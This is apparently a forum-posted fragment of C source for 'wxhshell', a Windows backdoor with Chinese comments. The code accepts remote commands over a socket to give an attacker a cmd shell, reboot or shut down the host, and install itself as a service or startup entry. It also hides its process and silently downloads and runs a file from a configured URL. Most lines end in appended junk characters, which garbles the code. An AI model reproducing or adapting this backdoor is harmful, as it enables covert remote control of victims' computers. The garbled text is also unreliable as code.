      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); =.qm8+  
    break; 9k=U0]!ch  
  } 7g A08M[O  
  // 安装 I9[1U   
  case 'i': { "W &:j:o  
    if(Install()) |2 YubAIZ(  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); "'z,[v 50&  
    else u{OS6Ky  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); X6LhM  
    break; wQD0 vsD  
    } 9lZAa8Rxi  
  // 卸载 nOAJ9  
  case 'r': { <THZ2`tTK3  
    if(Uninstall()) d}{LM!s  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 7xv4E<r2  
    else ,]PyDq6  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); `2x H7a-  
    break; {) :%Wn M9  
    } #gW /qJ  
  // 显示 wxhshell 所在路径 b)on A|  
  case 'p': { b!'l\~`{i  
    char svExeFile[MAX_PATH]; JQKC ;p  
    strcpy(svExeFile,"\n\r"); Ow cVPu_  
      strcat(svExeFile,ExeFile); '%zN  
        send(wsh,svExeFile,strlen(svExeFile),0); W>5vRwx00  
    break; ,hpH!J'5f/  
    } e2]4a3  
  // 重启 *#&k+{a^2  
  case 'b': { |^7f\.oF  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 8sN#e(@  
    if(Boot(REBOOT)) V=j-Um;  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); DS#c m3  
    else { w/b>awI  
    closesocket(wsh); =jg#fdM -  
    ExitThread(0); ..t,LU@|  
    } Y7<zm}=(/  
    break; Vq3gceo'0A  
    } <Rcu%&;i  
  // 关机 Awu$g.  
  case 'd': { !dU9sB2  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ]pW86L%  
    if(Boot(SHUTDOWN)) O1GDugZ  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ~L- 0~  
    else { Tub1S v>J  
    closesocket(wsh); o!aLZ3#X  
    ExitThread(0); [##`U m  
    } 403[oOj  
    break; ~bdv_|k  
    } 0 HGlf  
  // 获取shell [8>z#*B  
  case 's': { BdN8 ^W  
    CmdShell(wsh); :83,[;GO2  
    closesocket(wsh); ,Bisu:v6FW  
    ExitThread(0); ?e F@Q !h  
    break; )v[XmJ>H~o  
  } 8F#osN  
  // 退出 j|:dYt`WM  
  case 'x': { I Byf_E;r  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); !ZFr7Xz  
    CloseIt(wsh); >Bc> IO  
    break; D`6iDi t  
    } s}6+8fE"  
  // 离开 ze`1fO|%  
  case 'q': { 6iG(C.b  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); Zy^=fM  
    closesocket(wsh); DH 6q7"@  
    WSACleanup(); ^>C 11v  
    exit(1); I*EJHBsQ5  
    break; Q,{^S,s<   
        } RFw(]o,9cR  
  } Z&_y0W=t  
  } 4&Byl85q  
!c%  
  // 提示信息 t/}L36@+  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 'It?wB W  
} B[r<m J  
  } vxZg &SRK  
{m[s<A(  
  return; n-DaX kK  
} R{HV]o|qk  
R (G2qi  
// shell模块句柄 +a%xyD:.?  
int CmdShell(SOCKET sock) 3gAR4  
{ 5iVQc-m&  
STARTUPINFO si; $9 K(F~/  
ZeroMemory(&si,sizeof(si)); pz{'1\_+9  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; )zU:  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; i3#'*7f%j  
PROCESS_INFORMATION ProcessInfo; 8".2)W4*  
char cmdline[]="cmd"; LheFQ A  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); $.pTB(tO  
  return 0; ?WQNIX4  
} $B\ H  
I,b9t\(6  
// 自身启动模式 ?v:ZU~i  
int StartFromService(void) Gav"C{G  
{ H$!+A  
typedef struct Z7fg 25  
{ yGxv?%%2  
  DWORD ExitStatus; fAGctRGH  
  DWORD PebBaseAddress; `H\)e%]  
  DWORD AffinityMask; 69-:]7.g  
  DWORD BasePriority; #)o7"PW:  
  ULONG UniqueProcessId; CK0l9#g  
  ULONG InheritedFromUniqueProcessId; 3X;{vO\a1  
}   PROCESS_BASIC_INFORMATION; 8'A72*dhX  
AEY$@!8  
PROCNTQSIP NtQueryInformationProcess; [$pmPr2  
j(iuz^I  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; <:&de8bT  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; >{C\H.N  
t6+YXjXK  
  HANDLE             hProcess; `0{ S3v  
  PROCESS_BASIC_INFORMATION pbi; 5,1{Tv`  
U&UKUACn"  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 44\cI]!{  
  if(NULL == hInst ) return 0; /`[!_4i  
4U=75!>  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); Z<U>A   
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); F30 ]  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess");  W^Y#pn  
mk!Dozb/  
  if (!NtQueryInformationProcess) return 0; !4WEk  
T dk ,&8  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 5{K}?*3hJ  
  if(!hProcess) return 0; 87V1#U^  
lwT9~Hyp  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 2C$R4:Ssw)  
& ze>X  
  CloseHandle(hProcess); ecj7BT[mLI  
Dzl;-]S  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); o%`Xa#*Ly  
if(hProcess==NULL) return 0; im]g(#GnKh  
+pf5\#l?  
HMODULE hMod; 6?qDdVR~]  
char procName[255]; #DFV=:|~  
unsigned long cbNeeded; <@G8ni  
KVPR}qTP;  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); wJeG(h  
\L # INP4~  
  CloseHandle(hProcess); S{#cD1>.  
maNW{"1  
if(strstr(procName,"services")) return 1; // 以服务启动 %g3,qI  
P:C2G(V1AR  
  return 0; // 注册表启动 -oyO+1V  
} j}:~5|.  
:K':P5i  
// 主模块 =8Ehrlq  
int StartWxhshell(LPSTR lpCmdLine) D)Q)NI  
{  fvEAIs  
  SOCKET wsl; nwA8ALhE  
BOOL val=TRUE; hePPxKQ-  
  int port=0; OtTBErQNF  
  struct sockaddr_in door; 5GQLd  
9zBMlc$X  
  if(wscfg.ws_autoins) Install(); X[](Kj^`<  
nXA\|c0  
port=atoi(lpCmdLine); F%d \~Vj  
VsK>6S\T  
if(port<=0) port=wscfg.ws_port; 80pid[F  
F'JY?  
  WSADATA data; R@iUCT^$  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; XL$* _c <)  
O(z}H}Fv  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   cXnKCzSxZq  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); -|S]oJy  
  door.sin_family = AF_INET; HYK!}&  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); ]Mi.f3QlO6  
  door.sin_port = htons(port); S'LZk9E  
)IL #>2n?  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { .8WXC   
closesocket(wsl); ({^9<Us  
return 1; e>}}:Ud  
} (`BSVxJH  
Q`%R[#  
  if(listen(wsl,2) == INVALID_SOCKET) { lrWQOYf2  
closesocket(wsl); g(C|!}ex/  
return 1; |X19fgk  
} k]A8% z  
  Wxhshell(wsl); 7.Kc:7  
  WSACleanup(); "2?l{4T\  
23!;}zHp  
return 0; o|BP$P8V  
MJ`3ta  
} 1oLv.L  
D*PYr{z'  
// 以NT服务方式启动 O81X ;JdP3  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) errH>D~  
{ o Y}]UB>  
DWORD   status = 0; DZS]AC*  
  DWORD   specificError = 0xfffffff; BYrZEVM9  
:1ecx$  
  serviceStatus.dwServiceType     = SERVICE_WIN32; :}:3i9e*2  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; @|}BXQNd  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; +|iYg/2  
  serviceStatus.dwWin32ExitCode     = 0; AK!hK>u`  
  serviceStatus.dwServiceSpecificExitCode = 0; }n_p$g[Nj/  
  serviceStatus.dwCheckPoint       = 0; /93l74.w  
  serviceStatus.dwWaitHint       = 0; wC_l@7 t  
epHJ@W@#  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ulFzZHJ  
  if (hServiceStatusHandle==0) return; +!IQj0&'Y3  
@Ky> 9m{  
status = GetLastError(); '*^yAlgtt  
  if (status!=NO_ERROR) )d\ j I  
{ (>4aibA'P  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; Ys+OB*8AE  
    serviceStatus.dwCheckPoint       = 0; uMb> xxf  
    serviceStatus.dwWaitHint       = 0; WEg6Kz  
    serviceStatus.dwWin32ExitCode     = status; m([(:.X/IX  
    serviceStatus.dwServiceSpecificExitCode = specificError; oX@ya3!Pz  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); =J-5.0Q\_\  
    return; kum#^^4G|  
  } ^N}Wnk7ks'  
b-U eIjX  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; [H<bh%  
  serviceStatus.dwCheckPoint       = 0; j$UV/tp5T  
  serviceStatus.dwWaitHint       = 0; .nu @ o40  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); T<3BT  
} fKC3-zm  
=<r8fXWZ  
// 处理NT服务事件,比如:启动、停止 g]c[O*NTL  
VOID WINAPI NTServiceHandler(DWORD fdwControl) |Xi%   
{ `p b5*h6r!  
switch(fdwControl) 3A:q7#m  
{ n<sd!xmqFx  
case SERVICE_CONTROL_STOP: \Ng\B.IQ  
  serviceStatus.dwWin32ExitCode = 0; \<Sv3xy&O  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; YJg,B\z}  
  serviceStatus.dwCheckPoint   = 0; 0~wF3BgV  
  serviceStatus.dwWaitHint     = 0; 9SlNq05G7  
  { eI.2`)>  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); $Nrm!/)*'}  
  } <~TP#uAz  
  return; A[IL H_w  
case SERVICE_CONTROL_PAUSE: NjPDX>R\K  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 8dD2  
  break; <!-sZ_qq  
case SERVICE_CONTROL_CONTINUE: W?yd#j  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; b*a2,MiM  
  break; |Fm6#1A@  
case SERVICE_CONTROL_INTERROGATE: sDr/k`>  
  break; =S'%`]f?  
};  ~>O)  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 6qN~/TnHZ  
} Spo?i.#  
 ~ ~uAc_  
// 标准应用程序主函数 8l}1c=A}Vi  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 2!&&|Mh}  
{ j'[m:/  
[b{CkX06  
// 获取操作系统版本 aQ^umrj@?9  
OsIsNt=GetOsVer(); )"f N!9,F  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 4'$g(+z  
?D,=37  
  // 从命令行安装 J PyOG _h  
  if(strpbrk(lpCmdLine,"iI")) Install(); 1O].v&{  
kGpa\c g1  
  // 下载执行文件 -jgysBw+Xb  
if(wscfg.ws_downexe) { o"wXIHUmV  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) M/x>51<  
  WinExec(wscfg.ws_filenam,SW_HIDE); ^7;JC7qmN  
} P%)gO  
5@*'2rO&!  
if(!OsIsNt) { Hf'G8vW  
// 如果时win9x,隐藏进程并且设置为注册表启动 D7Y)?Z5A;  
HideProc(); ?USQlnr:R/  
StartWxhshell(lpCmdLine); G} eUL|S  
} 8WE{5#oi  
else 0 a]/%y3V  
  if(StartFromService()) ??TMSH  
  // 以服务方式启动 QL6C,#6  
  StartServiceCtrlDispatcher(DispatchTable); Kp+CH7I*  
else Rqwzh@}  
  // 普通方式启动 ,q(&)L$S  
  StartWxhshell(lpCmdLine); cvwhSdZu8  
dKl^jsd  
return 0; hTP:[w)  
}
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只看该作者 1 发表于: 2006-10-10
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